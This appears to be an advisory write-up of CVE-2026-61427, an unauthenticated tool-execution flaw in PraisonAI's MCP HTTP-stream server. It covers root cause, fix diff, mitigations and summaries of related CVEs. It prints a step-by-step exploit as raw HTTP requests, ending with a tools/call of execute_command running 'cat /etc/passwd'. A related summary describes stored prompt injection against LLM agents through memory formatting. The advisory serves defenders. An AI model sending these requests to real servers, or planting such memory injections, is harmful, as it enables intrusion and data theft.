Oct 8, 2026·4 min read·25 visits
Unauthenticated remote attackers can query and invoke administrative tools on PraisonAI MCP servers due to missing default authentication and input validation.
CVE-2026-61427 is a critical authentication bypass and improper input validation vulnerability within the Model Context Protocol (MCP) HTTP-stream server of PraisonAI. In versions prior to 4.6.78, the server lacks authentication by default and forwards client messages directly to Python tool handlers without input validation. When bound to non-localhost interfaces, this permits unauthenticated remote attackers to perform unauthorized administrative operations and execute tools.
The Model Context Protocol (MCP) is an architectural standard designed to connect Large Language Models (LLMs) securely to external data repositories and execution tools. PraisonAI implements this protocol using a Server-Sent Events (SSE) server to manage downstream traffic and standard HTTP POST endpoints for receiving client requests.
Prior to version 4.6.78, the PraisonAI MCP HTTP-stream integration exposed critical interfaces without authentication by default. If an administrator failed to specify an API key, the authorization block was omitted from execution entirely. This design decision exposed a broad attack surface, allowing anyone with access to the server port to interact with underlying tools.
This flaw becomes highly critical when operators bind the MCP server to non-loopback network interfaces, such as 0.0.0.0. This configuration enables unauthenticated remote clients to fully enumerate capabilities and trigger python execution routines.
The primary root cause lies within src/praisonai/praisonai/mcp_server/transports/http_stream.py. Inside the endpoint logic, authentication is conditionally validated based on the existence of a configured API key. If the command-line execution parameter --api-key is not supplied, self.api_key defaults to None, bypassing the authorization check.
# Conditional check allowing execution without authorization headers
if self.api_key is not None:
auth_header = request.headers.get("Authorization")
if not auth_header or not auth_header.startswith("Bearer "):
return HTTP_401_UNAUTHORIZEDA secondary root cause is improper input validation during parameter parsing. The MCP message dispatcher accepts arguments for tools/call requests and passes them directly into Python tool handlers. The dispatcher completely skips schema matching (inputSchema), rendering structural parameters unvalidated.
To remediate the vulnerability, the initialization sequence of the HttpStreamTransport class was modified in commit 393de394087e3badc79acfec490323bcc99638bd. Developers introduced a strict verification check that halts execution if the server is exposed externally without an active API key configuration.
diff --git a/src/praisonai/praisonai/mcp_server/transports/http_stream.py b/src/praisonai/praisonai/mcp_server/transports/http_stream.py
--- a/src/praisonai/praisonai/mcp_server/transports/http_stream.py
+++ b/src/praisonai/praisonai/mcp_server/transports/http_stream.py
@@ -109,6 +109,11 @@ def __init__(
else:
self.allowed_origins = allowed_origins
+
+ # Verify that an api_key is configured when binding externally
+ if host not in ("127.0.0.1", "localhost", "::1") and not self.api_key:
+ raise ValueError(
+ "api_key is required when MCP HTTP-stream binds to a non-localhost address"
+ )While this fix prevents network-level exploitation of default configurations, it does not mandate authentication for servers bound to localhost (127.0.0.1). If a local attacker, or a remote adversary leveraging Cross-Origin Resource Sharing (CORS) bypasses, interacts with the local port, unauthenticated tool execution remains possible.
Exploiting this flaw requires three sequential protocol steps: establishing an SSE stream, retrieving the schema structure of target tools, and dispatching a payload containing the execution request.
First, the attacker opens a persistent downstream channel to receive event notifications:
GET /sse HTTP/1.1
Host: target-ip:8000
Accept: text/event-streamAfter retrieving a valid session identifier, the attacker lists available capabilities using the tools/list JSON-RPC method. This request is completed without any authorization parameters:
POST /message?session_id=attacker-session-123 HTTP/1.1
Host: target-ip:8000
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/list",
"id": 1
}Finally, the attacker invokes an administrative tool (such as local command execution utilities) by targeting tools/call. Because parameter schemas are not validated, arbitrary command arguments are executed directly by the runtime environment:
POST /message?session_id=attacker-session-123 HTTP/1.1
Host: target-ip:8000
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "execute_command",
"arguments": {
"command": "cat /etc/passwd"
}
},
"id": 2
}System administrators must immediately upgrade PraisonAI to version 4.6.78 or later to restrict unauthenticated external bindings. Deployments using older versions must configure an API key on the command line interface.
pip install --upgrade praisonaiIf upgrading is delayed, configure firewall filtering rules to restrict port 8000 (or the configured MCP port) strictly to loopback interfaces. This prevents external hosts from accessing endpoints directly:
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 8000 -j ACCEPT
iptables -A INPUT -p tcp --dport 8000 -j DROPAdditionally, always launch services with explicit, randomly generated API keys rather than relying on default framework configurations:
praisonai mcp serve --transport http-stream --api-key "$(openssl rand -hex 32)" --host 0.0.0.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
PraisonAI MervinPraison | < 4.6.78 | 4.6.78 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Authentication), CWE-20 (Improper Input Validation) |
| Attack Vector | Network |
| CVSS v3.1 | 7.3 (High) |
| EPSS Score | 0.00389 (~0.39% probability) |
| Exploit Status | Proof of Concept (PoC) |
| CISA KEV Status | Not Listed |
The product does not perform authentication for functionality that requires a provable user identity, and fails to validate inputs.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.